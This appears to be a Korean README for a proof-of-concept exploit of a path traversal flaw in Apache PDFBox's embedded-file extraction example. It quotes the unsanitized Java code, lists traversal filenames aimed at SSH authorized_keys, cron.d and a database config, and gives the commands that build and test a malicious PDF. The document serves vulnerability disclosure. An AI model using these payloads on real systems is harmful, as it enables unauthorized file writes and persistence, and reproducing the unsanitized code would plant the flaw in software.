
Apache PDFBox 경로 탐색 취약점(CVE-2026-23907)에 대한 개념 증명 익스플로잇으로, 악성 PDF에 포함된 파일을 통해 임의 파일 쓰기를 시연합니다.
Apache PDFBox의 ExtractEmbeddedFiles 예제 코드는 PDF에서 포함된 파일을 추출할 때 파일 이름을 검증하지 않습니다. 공격자는 경로 탐색 시퀀스(../)가 포함된 파일을 삽입하여 임의의 파일 시스템 위치에 파일을 쓸 수 있습니다.
파일: pdfbox/examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java
private static void extractFile(String filePath, String filename, PDEmbeddedFile embeddedFile)
throws IOException
{
String embeddedFilename = filePath + filename; // NO SANITIZATION
File file = new File(embeddedFilename);
File parentDir = file.getParentFile();
if (!parentDir.exists())
{
parentDir.mkdirs(); // Creates arbitrary directories
}
try (FileOutputStream fos = new FileOutputStream(file))
{
fos.write(embeddedFile.toByteArray()); // Writes to arbitrary location
}
}
filename 매개변수는 검증 없이 PDF에서 직접 가져옵니다.
SSH 키 주입
../../.ssh/authorized_keysCron 작업 주입
../../../etc/cron.d/malicious구성 파일 덮어쓰기
../../config/database.ymlcreate_malicious_pdf.py - 경로 탐색이 포함된 악성 PDF 생성TestPathTraversal.java - 취약점 시연test_path_traversal.sh - 자동화된 테스트 스크립트malicious_path_traversal.pdf - 사전 생성된 악성 PDF./test_path_traversal.sh
# 1. 악성 PDF 생성
python3 create_malicious_pdf.py
# 2. 테스트 컴파일 (PDFBox JAR 필요)
javac -cp pdfbox-app.jar TestPathTraversal.java
# 3. 테스트 실행
java -cp .:pdfbox-app.jar TestPathTraversal malicious_path_traversal.pdf
# 4. 경로 탐색 확인
cat /tmp/path_traversal_poc
PATH TRAVERSAL DETECTED!
Expected path prefix: /current/working/directory
Actual path: /tmp/path_traversal_poc
ExtractEmbeddedFiles.java 예제 코드PDComplexFileSpecification.getFilename()을 호출하는 모든 코드